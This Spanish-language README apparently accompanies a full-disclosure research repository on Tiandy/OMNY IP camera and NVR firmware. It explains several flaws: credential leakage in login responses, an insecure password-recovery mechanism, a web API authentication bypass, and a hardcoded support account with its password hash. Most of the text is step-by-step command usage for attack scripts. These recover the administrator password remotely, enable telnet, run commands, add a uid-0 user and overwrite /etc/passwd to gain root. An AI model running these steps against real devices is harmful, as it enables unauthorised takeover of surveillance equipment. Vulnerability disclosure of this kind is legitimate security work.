
Este repositorio contiene los resultados de mi investigación de agosto de 2020 sobre el firmware IPC/NVR de Tiandy. Encontré dos vulnerabilidades que podrían usarse para recuperar de forma remota la contraseña del administrador y obtener acceso root al dispositivo.
Este repositorio contiene los resultados de mi investigación de agosto de 2020 sobre el firmware de IPC/NVR de Tiandy (estos dispositivos también se venden como OMNY). Esta "investigación" no fue exhaustiva, pero encontré múltiples métodos para recuperar la contraseña del administrador de forma remota, habilitar telnet y cambiar la contraseña de root.
Es difícil decir exactamente qué versiones están afectadas, ya que solo podemos descargar las recientes. Todas estas versiones descargables están afectadas:
DVRS_V9.12.7.20200422
DVRS_V11.7.4.20200721
NVSS_V13.6.1.20200723
NVSS_V22.1.0.20200722
No solo hay diferentes ramas para diferentes dispositivos, sino que algunos componentes se versionan y actualizan por separado, como la API web, donde encontré una omisión de autenticación que solo funciona en versiones lanzadas desde mediados de 2019, independientemente del número de versión del firmware. Si sabes más sobre las versiones afectadas, agradecería tu ayuda.
Estoy haciendo divulgación completa aquí, pero es razonable. Un parche del proveedor (poco probable, ya que no responden) no haría desaparecer el problema, especialmente cuando ningún dispositivo en línea tiene el firmware más reciente (ni siquiera cerca). La vulnerabilidad real es que esos dispositivos están expuestos a internet. Y esto es algo que los usuarios finales deben solucionar, no Tiandy.
Como extra, también incluyo el desempaquetador de firmware y algo de información sobre cómo acceder a los flujos mediante RTSP/RTMP (suerte encontrando eso en el manual).
Primero presento los scripts:
Luego intento explicar brevemente qué hacen estos scripts y por qué. No repito el código, pero intento dar suficiente contexto para que puedas entenderlo:
Finalmente, esto se pone algo más técnico:
Necesitarás Python 3 con PyCrypto.
Primero, prueba recover.py. Esto requiere que el puerto 3001 sea accesible:
python3 recover.py [HOST]
si todo va bien, se deberían imprimir las credenciales del administrador.
Si ese puerto no es accesible, el web podría funcionar. Esto requiere la url:
python3 cgi_recover.py http://123.45.67.89
python3 cgi_recover.py https://123.45.67.89
Si nada de lo anterior funciona, comprueba si telnet está habilitado. Si lo está, puedes obtener root en el dispositivo directamente, solo tienes que crackear este hash:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(asegúrate de abrir un PR si realmente lo crackeas :D)
En el firmware NVR V7 más antiguo, puedes ejecutar comandos directamente:
python3 ftpupdate.py [host] [adminpass] '[cmd]'
pero no da salida. Para hacer esto más fácil, he incluido esta abreviatura:
python3 ftpupdate.py [host] [adminpass] adduser [username] [password]
Esto añadirá otro usuario con uid 0.
Primero, habilita telnet usando:
python3 telnet.py [host] [adminpw]
o para dispositivos recientes:
python3 cgi_recover.py [host] telnet
Luego puedes sobrescribir /etc/passwd (asumo que sabes cómo funciona esto). Prueba filetransport.py primero (para NVRs):
python3 filetransport.py [host] [adminpass] put /etc/passwd <[source_file]
esto no da retroalimentación, necesitas probarlo intentando iniciar sesión...
Para modelos IPC donde filetransport.py no funciona, prueba upgrade_rw.py:
python3 upgrade_rw.py [url] [adminpass] /etc/passwd <[source_file]
(esto tampoco da retroalimentación)
Finalmente, para dispositivos aún más nuevos, esto también se puede hacer a través de la API web:
python3 cgi_recover.py [url] write /etc/passwd <[source_file]
Si nada de lo anterior funcionó (comprueba si puedes iniciar sesión), reintenta todos esos métodos pero sobrescribiendo /config/etc/passwd en su lugar. En algunas versiones de firmware, /etc/passwd es un enlace simbólico a ese archivo. Finalmente, también puedes intentar sobrescribir /tdfs/etc/passwd, pero después de eso, puede ser necesario reiniciar el dispositivo, así que para reiniciar, usa:
python3 reboot.py [host] [adminpass]
El firmware antiguo V7 (IPC y NVR) no parece estar afectado, pero si tienes la contraseña del administrador, para NVRs hay un RCE autenticado (ftpupdate.py), y para IPCs, el script upgrade-rw.py podría usarse para sobrescribir /etc/passwd.
Las versiones posteriores del firmware NVR (V9 y V11) incluyen una cuenta predeterminada, que combinada con la escalada de privilegios "pasiva" hace posible recuperar la contraseña del administrador. Luego podemos sobrescribir /etc/passwd usando filetransport.py.
Aunque la cuenta predeterminada no está presente en el firmware IPC, aparece otro método de recuperación: el método PSW. Este es un mecanismo de recuperación de contraseña sin seguridad alguna. Está presente en todas las versiones de firmware descargables desde V9. Mientras que filetransport.py solo funciona en NVRs, upgrade_rw.py logra el mismo propósito en IPCs usando el mecanismo de actualización, por lo que aún podemos obtener acceso root.
El firmware de 2019 introduce otro vector de ataque: una omisión de autenticación usando la API web. Al exportar el archivo de configuración sin autenticación, podemos recuperar la contraseña y preparar un paquete de actualización para sobrescribir archivos arbitrarios.
Hablando de vulnerabilidades, hay 4:
Ten en cuenta que no investigué las funciones de "nube", es decir, si es posible enumerar dispositivos y, por lo tanto, conectarse a dispositivos no expuestos a internet (como ocurre con los dispositivos Xiongmai).
En versiones antiguas, telnet está habilitado por defecto y esto es lo que podemos encontrar en el archivo /etc/passwd:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(la contraseña de root se actualiza dinámicamente, tampoco crackeé este hash, así que los pull requests son más que bienvenidos :D)
El usuario support (de hecho, presente en todas las versiones de firmware) podría parecer sin privilegios, pero por supuesto, este usuario tiene suficientes privilegios para leer la contraseña de Admin y sobrescribir scripts de inicio escribibles por todos en /etc/init.d o incluso crear nuevos :)
Conceptualmente, el método es realmente simple. Solo enviamos un paquete de inicio de sesión y leemos la respuesta. Eso es todo, porque la respuesta de "inicio de sesión exitoso" contiene las credenciales de todos los usuarios, independientemente de nuestros privilegios. Aunque esto ya era así en V7, prácticamente este método se volvió útil solo cuando se introdujo la cuenta predeterminada en el firmware NVR. El "Default" irremovible no tiene privilegios remotos, así que no puedes hacer nada con él. Bueno, quizás excepto leer la contraseña del administrador...